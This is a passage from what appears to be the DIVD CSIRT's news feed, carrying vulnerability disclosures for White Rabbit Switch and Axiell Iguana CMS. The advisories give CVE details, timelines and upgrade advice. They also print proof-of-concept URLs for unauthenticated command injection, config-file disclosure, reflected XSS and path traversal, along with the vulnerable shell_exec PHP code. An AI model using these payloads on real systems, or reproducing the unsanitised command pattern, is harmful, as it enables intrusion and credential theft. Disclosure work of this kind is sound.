&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;No authentication or authorization check is performed before this file is read and returned. As a result, simply requesting the following URL discloses the full configuration file, including the root password hash and SNMP read/write community strings, to any unauthenticated visitor:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;https://&amp;lt;URL&amp;gt;/showfile.php?help_id=c8&amp;amp;name=dotconfig
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The returned configuration includes lines such as network configuration, hostname, and — most critically — the encrypted/hashed root password (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CONFIG_ROOT_PWD_CYPHER&lt;/code&gt;) and SNMP community strings.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Suggested actions&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Upgrade to White Rabbit Switch version 6.0.2 or later.&lt;/p&gt;

&lt;h2 id=&quot;unauthenticated-os-command-injection-via-showfilephp---cve-2023-22581&quot;&gt;Unauthenticated OS command injection via showfile.php - CVE-2023-22581&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;CVE: &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-22581&quot; class=&quot;cve secinfo&quot;&gt;CVE-2023-22581&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Case: &lt;a href=&quot;/cases/DIVD-2022-00068&quot; class=&quot;divd secinfo&quot;&gt;DIVD-2022-00068&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Discovered by: Tom Wolters (Chapter8)&lt;/li&gt;
  &lt;li&gt;Credits: Reported to DIVD by Tom Wolters (Chapter8, tom@chapter8.com). Analysis by Victor Pasman (DIVD).&lt;/li&gt;
  &lt;li&gt;Products: White Rabbit Switch, all versions prior to 6.0.1 (most recent vulnerable release 7/7/21)&lt;/li&gt;
  &lt;li&gt;CVSS: 9.8 (CRITICAL) — &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Reference: Case &lt;a href=&quot;/cases/DIVD-2022-00068&quot; class=&quot;divd secinfo&quot;&gt;DIVD-2022-00068&lt;/a&gt;, &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-22581&quot; class=&quot;cve secinfo&quot;&gt;CVE-2023-22581&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Solution: Upgrade to White Rabbit Switch version 6.0.2, which contains a fix for this vulnerability.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;White Rabbit Switch contains a vulnerability which makes it possible for an attacker to perform system commands under the context of the web application. In the default installation, the webserver runs as the root user, so this results in unauthenticated remote code execution as root.&lt;/p&gt;

&lt;p&gt;The same &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wrs_display_help()&lt;/code&gt; function in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;functions.php&lt;/code&gt; contains a second branch, triggered when &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;help_id&lt;/code&gt; is set to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;file&lt;/code&gt;, which passes the unfiltered &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;name&lt;/code&gt; parameter directly into a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;shell_exec()&lt;/code&gt; call:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;strcmp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$help_id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;file&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)){&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$msg&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;shell_exec&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;cat &quot;&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$GLOBALS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;etcdir&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$msg&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;explode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$msg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$msg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$message&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;:  &quot;&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$msg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&amp;lt;br&amp;gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Because &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$name&lt;/code&gt; is concatenated directly into the shell command without any sanitization, an attacker can inject arbitrary shell metacharacters. Any command placed between a semicolon (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;;&lt;/code&gt;) and an ampersand (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;amp;&lt;/code&gt;) in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;name&lt;/code&gt; parameter will be executed by the underlying system:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;https://&amp;lt;URL&amp;gt;/showfile.php?name=txt;whoami&amp;amp;help_id=file
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In testing, this returned &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;root&lt;/code&gt; as the result of the injected &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;whoami&lt;/code&gt; command, confirming the web application (and therefore any injected command) runs with root privileges. This could be leveraged, for example, to change the root password and obtain SSH access to the device.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Suggested actions&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Upgrade to White Rabbit Switch version 6.0.2 or later.&lt;/p&gt;

&lt;h2 id=&quot;timeline&quot;&gt;Timeline&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;2022-11-16: Two vulnerabilities (RCE and information disclosure) reported by Tom Wolters; DIVD starts evaluation and reporting process.&lt;/li&gt;
  &lt;li&gt;2022-11-16: First contact between CERN and DIVD.&lt;/li&gt;
  &lt;li&gt;2022-11-16 to 2022-12-09: Time to acknowledge.&lt;/li&gt;
  &lt;li&gt;2022-12-09: Vendor acknowledges receipt of vulnerabilities.&lt;/li&gt;
  &lt;li&gt;2023-04-11: CERN releases White Rabbit Switch 6.0.2, containing fixes for both CVE-2023-22577 and CVE-2023-22581.&lt;/li&gt;
  &lt;li&gt;2023-04-11: Limited disclosure of the White Rabbit Switch vulnerabilities.&lt;/li&gt;
  &lt;li&gt;2023-05-31: Case closed.&lt;/li&gt;
  &lt;li&gt;2026-07-16: Full Disclosure.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;more-information&quot;&gt;More information&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-22577&quot; class=&quot;cve secinfo&quot;&gt;CVE-2023-22577&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-22581&quot; class=&quot;cve secinfo&quot;&gt;CVE-2023-22581&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Source: &lt;a href=&quot;https://ohwr.org/project/white-rabbit&quot;&gt;White Rabbit project&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Vulnerable source: &lt;a href=&quot;https://ohwr.org/project/wr-switch-sw/blob/wr-switch-sw-v4.0-rc1/userspace/rootfs_override&quot;&gt;rootfs_override&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
                <pubDate>Fri, 17 Jul 2026 00:00:00 +0200</pubDate>
                <link>https://csirt.divd.nl/2026/07/17/DIVD-2022-00068-full-disclosure/</link>
                <guid isPermaLink="true">https://csirt.divd.nl/2026/07/17/DIVD-2022-00068-full-disclosure/</guid>
            </item>
            <item>
                <title>Axiell Iguana CMS full disclosure</title>
                <description>&lt;p&gt;DIVD received a vulnerability report from external researcher Amr Al Hallak about multiple injection vulnerabilities in the Axiell Iguana CMS, a content management system used by libraries. The vulnerabilities range from reflected cross-site scripting to a critical local file inclusion and can be leveraged to compromise a website running the affected software.&lt;/p&gt;

&lt;p&gt;DIVD is a CVE Numbering Authority (CNA) and has used these rights to assign the following CVEs to the vulnerabilities included in the write-up below:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-45049&quot; class=&quot;cve secinfo&quot;&gt;CVE-2022-45049&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-45050&quot; class=&quot;cve secinfo&quot;&gt;CVE-2022-45050&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-45051&quot; class=&quot;cve secinfo&quot;&gt;CVE-2022-45051&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-45052&quot; class=&quot;cve secinfo&quot;&gt;CVE-2022-45052&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;All four vulnerabilities were reported to the vendor and fixed in Iguana 4.5.02, released on 2022-11-03. The case (&lt;a href=&quot;/cases/DIVD-2022-00064&quot; class=&quot;divd secinfo&quot;&gt;DIVD-2022-00064&lt;/a&gt;) has since been closed. The rest of this post contains the full technical write-up of each vulnerability.&lt;/p&gt;

&lt;h2 id=&quot;reflected-xss-via-the-url-parameter-on-novelistphp---cve-2022-45049&quot;&gt;Reflected XSS via the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;url&lt;/code&gt; parameter on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;novelist.php&lt;/code&gt; - CVE-2022-45049&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;CVE: &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-45049&quot; class=&quot;cve secinfo&quot;&gt;CVE-2022-45049&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Case: &lt;a href=&quot;/cases/DIVD-2022-00064&quot; class=&quot;divd secinfo&quot;&gt;DIVD-2022-00064&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Discovered by: Amr Al Hallak&lt;/li&gt;
  &lt;li&gt;Credits: Reported to DIVD by researcher Amr Al Hallak.&lt;/li&gt;
  &lt;li&gt;Products: Axiell Iguana CMS (Windows, Linux)&lt;/li&gt;
  &lt;li&gt;Affected versions: All versions prior to 4.5.02&lt;/li&gt;
  &lt;li&gt;CVSS: 6.1 (MEDIUM) — &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;CWE: CWE-79 Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’)&lt;/li&gt;
  &lt;li&gt;Reference: Case &lt;a href=&quot;/cases/DIVD-2022-00064&quot; class=&quot;divd secinfo&quot;&gt;DIVD-2022-00064&lt;/a&gt;, &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-45049&quot; class=&quot;cve secinfo&quot;&gt;CVE-2022-45049&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Solution: Upgrade to Iguana 4.5.02 or higher.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A reflected XSS vulnerability was found in Axiell Iguana CMS. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;url&lt;/code&gt; parameter on the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;novelist.php&lt;/code&gt; endpoint does not properly neutralise user input before it is reflected back into the page, allowing an attacker to execute arbitrary JavaScript in a victim’s browser in the context of the vulnerable site.&lt;/p&gt;

&lt;p&gt;Proof of concept as reported against the researcher’s test host:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;https://&amp;lt;host&amp;gt;/iguana/php/novelist.php?url=%3Cscript%3Ealert(1)%3C/script%3E
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The decoded payload is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&lt;/code&gt;, a benign marker used only to demonstrate script execution.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Suggested actions&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Upgrade to the latest version of Iguana CMS.&lt;/p&gt;

&lt;h2 id=&quot;reflected-xss-via-the-title-parameter-on-twitterphp---cve-2022-45050&quot;&gt;Reflected XSS via the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;title&lt;/code&gt; parameter on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;twitter.php&lt;/code&gt; - CVE-2022-45050&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;CVE: &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-45050&quot; class=&quot;cve secinfo&quot;&gt;CVE-2022-45050&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Case: &lt;a href=&quot;/cases/DIVD-2022-00064&quot; class=&quot;divd secinfo&quot;&gt;DIVD-2022-00064&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Discovered by: Amr Al Hallak&lt;/li&gt;
  &lt;li&gt;Credits: Reported to DIVD by researcher Amr Al Hallak.&lt;/li&gt;
  &lt;li&gt;Products: Axiell Iguana CMS (Windows, Linux)&lt;/li&gt;
  &lt;li&gt;Affected versions: All versions prior to 4.5.02&lt;/li&gt;
  &lt;li&gt;CVSS: 6.1 (MEDIUM) — &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;CWE: CWE-79 Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’)&lt;/li&gt;
  &lt;li&gt;Reference: Case &lt;a href=&quot;/cases/DIVD-2022-00064&quot; class=&quot;divd secinfo&quot;&gt;DIVD-2022-00064&lt;/a&gt;, &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-45050&quot; class=&quot;cve secinfo&quot;&gt;CVE-2022-45050&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Solution: Upgrade to Iguana 4.5.02 or higher.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A reflected XSS vulnerability was found in Axiell Iguana CMS. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;title&lt;/code&gt; parameter on the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;twitter.php&lt;/code&gt; endpoint does not properly neutralise user input, resulting in arbitrary JavaScript execution in a victim’s browser.&lt;/p&gt;

&lt;p&gt;Proof of concept as reported against the researcher’s test host:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;https://&amp;lt;host&amp;gt;/iguana/php/twitter.php?title=%3Cscript%3Ealert(1)%3C/script%3E
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Suggested actions&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Upgrade to the latest version of Iguana CMS.&lt;/p&gt;

&lt;h2 id=&quot;reflected-post-xss-via-the-module-parameter-on-servicetemplatecls---cve-2022-45051&quot;&gt;Reflected POST XSS via the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;module&lt;/code&gt; parameter on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Service.Template.cls&lt;/code&gt; - CVE-2022-45051&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;CVE: &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-45051&quot; class=&quot;cve secinfo&quot;&gt;CVE-2022-45051&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Case: &lt;a href=&quot;/cases/DIVD-2022-00064&quot; class=&quot;divd secinfo&quot;&gt;DIVD-2022-00064&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Discovered by: Amr Al Hallak&lt;/li&gt;
  &lt;li&gt;Credits: Reported to DIVD by researcher Amr Al Hallak.&lt;/li&gt;
  &lt;li&gt;Products: Axiell Iguana CMS (Windows, Linux)&lt;/li&gt;
  &lt;li&gt;Affected versions: All versions prior to 4.5.02&lt;/li&gt;
  &lt;li&gt;CVSS: 6.1 (MEDIUM) — &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;CWE: CWE-79 Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’)&lt;/li&gt;
  &lt;li&gt;Reference: Case &lt;a href=&quot;/cases/DIVD-2022-00064&quot; class=&quot;divd secinfo&quot;&gt;DIVD-2022-00064&lt;/a&gt;, &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-45051&quot; class=&quot;cve secinfo&quot;&gt;CVE-2022-45051&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Solution: Upgrade to Iguana 4.5.02 or higher.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A reflected XSS vulnerability was found in Axiell Iguana CMS that is triggered through a POST request. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;module&lt;/code&gt; parameter on the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Service.Template.cls&lt;/code&gt; endpoint does not properly neutralise user input, resulting in arbitrary JavaScript execution in a victim’s browser.&lt;/p&gt;

&lt;p&gt;Because the injection point is in a POST parameter, exploitation requires the victim to submit a request carrying the malicious &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;module&lt;/code&gt; value — for example via an attacker-hosted page containing an auto-submitting form that targets the vulnerable endpoint. The researcher demonstrated this with a self-hosted proof-of-concept HTML page.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Suggested actions&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Upgrade to the latest version of Iguana CMS.&lt;/p&gt;

&lt;h2 id=&quot;local-file-inclusion-via-the-url-parameter-on-the-image-proxy-endpoint---cve-2022-45052&quot;&gt;Local File Inclusion via the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;url&lt;/code&gt; parameter on the image proxy endpoint - CVE-2022-45052&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;CVE: &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-45052&quot; class=&quot;cve secinfo&quot;&gt;CVE-2022-45052&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Case: &lt;a href=&quot;/cases/DIVD-2022-00064&quot; class=&quot;divd secinfo&quot;&gt;DIVD-2022-00064&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Discovered by: Amr Al Hallak&lt;/li&gt;
  &lt;li&gt;Credits: Reported to DIVD by researcher Amr Al Hallak.&lt;/li&gt;
  &lt;li&gt;Products: Axiell Iguana CMS (Windows, Linux)&lt;/li&gt;
  &lt;li&gt;Affected versions: All versions prior to 4.5.02&lt;/li&gt;
  &lt;li&gt;CVSS: 9.8 (CRITICAL) — &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;CWE: CWE-552 Files or Directories Accessible to External Parties&lt;/li&gt;
  &lt;li&gt;Reference: Case &lt;a href=&quot;/cases/DIVD-2022-00064&quot; class=&quot;divd secinfo&quot;&gt;DIVD-2022-00064&lt;/a&gt;, &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-45052&quot; class=&quot;cve secinfo&quot;&gt;CVE-2022-45052&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Solution: Upgrade to Iguana 4.5.02 or higher.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A Local File Inclusion vulnerability was found in Axiell Iguana CMS. Due to insufficient neutralisation of user input on the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;url&lt;/code&gt; parameter of the image proxy endpoint (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;imageProxy.type.php&lt;/code&gt;), an unauthenticated external attacker can traverse the file system and read files on the server. As this requires no privileges and no user interaction while exposing confidentiality, integrity and availability, it carries a critical CVSS score.&lt;/p&gt;

&lt;p&gt;Proof of concept as reported against the researcher’s test host (path-traversal to a Windows system file):&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;https://&amp;lt;host&amp;gt;/iguana/php/imageProxy.type.php?url=../../../../../../../../../../../../../../windows/win.ini
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Suggested actions&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Upgrade to the latest version of Iguana CMS.&lt;/p&gt;

&lt;h2 id=&quot;timeline&quot;&gt;Timeline&lt;/h2&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Date&lt;/th&gt;
      &lt;th&gt;Event&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;2022-09-08&lt;/td&gt;
      &lt;td&gt;First four vulnerabilities (reflected XSS, POST XSS, LFI) reported to DIVD; evaluation and reporting process starts.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;2022-11-03&lt;/td&gt;
      &lt;td&gt;First contact between Axiell and DIVD. Axiell releases Iguana 4.5.02, fixing CVE-2022-45049, CVE-2022-45050, CVE-2022-45051 and CVE-2022-45052.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;2022-11-17&lt;/td&gt;
      &lt;td&gt;Researcher and DIVD confirm the four vulnerabilities are remediated by the patch.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;2022-11-21&lt;/td&gt;
      &lt;td&gt;Researcher reports two additional vulnerabilities (SSRF and reflected XSS); DIVD contacts Axiell.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;2023-01-03&lt;/td&gt;
      &lt;td&gt;Limited disclosure for the four CVEs.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;2024-07-22&lt;/td&gt;
      &lt;td&gt;Case closed.&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h2 id=&quot;summary&quot;&gt;Summary&lt;/h2&gt;

&lt;p&gt;Multiple injection vulnerabilities were identified in Axiell Iguana CMS. Leveraging these vulnerabilities could allow an attacker to compromise a website running the affected software. All affected users should upgrade to Iguana 4.5.02 or higher.&lt;/p&gt;
</description>
                <pubDate>Fri, 17 Jul 2026 00:00:00 +0200</pubDate>
                <link>https://csirt.divd.nl/2026/07/17/DIVD-2022-00064-full-disclosure/</link>
                <guid isPermaLink="true">https://csirt.divd.nl/2026/07/17/DIVD-2022-00064-full-disclosure/</guid>
            </item><item>
                            <title>Case update: DIVD-2026-00010 - Improper Access Control in Hashtopolis Server</title>
                            <description>
                                Last event: 16 Jul 2026 - CVE-2026-22093 published. DIVD publishes casefile.
                            </description>
                            <pubDate>16 Jul 2026 02:00:00 +0200</pubDate>
                            <link>https://csirt.divd.nl/cases/DIVD-2026-00010/</link>
                            <guid isPermaLink="true">https://csirt.divd.nl/cases/DIVD-2026-00010/</guid>
                        </item><item>
                            <title>Case update: DIVD-2024-00024 - Multiple vulnerabilities found in the SOPlanning tool</title>
                            <description>
                                Last event: 16 Jul 2026 - Full disclosure published.
                            </description>
                            <pubDate>16 Jul 2026 02:00:00 +0200</pubDate>
                            <link>https://csirt.divd.nl/cases/DIVD-2024-00024/</link>
                            <guid isPermaLink="true">https://csirt.divd.nl/cases/DIVD-2024-00024/</guid>
                        </item>
            <item>
                <title>Mennekes Smart - charging stations full disclosure</title>
                <description>&lt;p&gt;DIVD received a vulnerability report about the firmware of Mennekes Smart charging stations. The vulnerabilities were discovered by Wilco van Beijnum and analysed together with DIVD researchers Harm van den Brink and Frank Breedijk.&lt;/p&gt;

&lt;p&gt;During an investigation of the Mennekes charging station, several vulnerabilities were found that allow an authenticated attacker to execute arbitrary OS commands on the charging station (as root), read arbitrary files from the filesystem, and manipulate the SQLite databases used by the device. Under the upcoming NIS2 regulations, charging infrastructure is considered critical infrastructure, which underlines the importance of these findings.&lt;/p&gt;

&lt;p&gt;DIVD is a CVE Numbering Authority (CNA) and has used these rights to assign the following CVEs to the vulnerabilities included in the write-up below:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-22366&quot; class=&quot;cve secinfo&quot;&gt;CVE-2025-22366&lt;/a&gt;&lt;/li&gt;
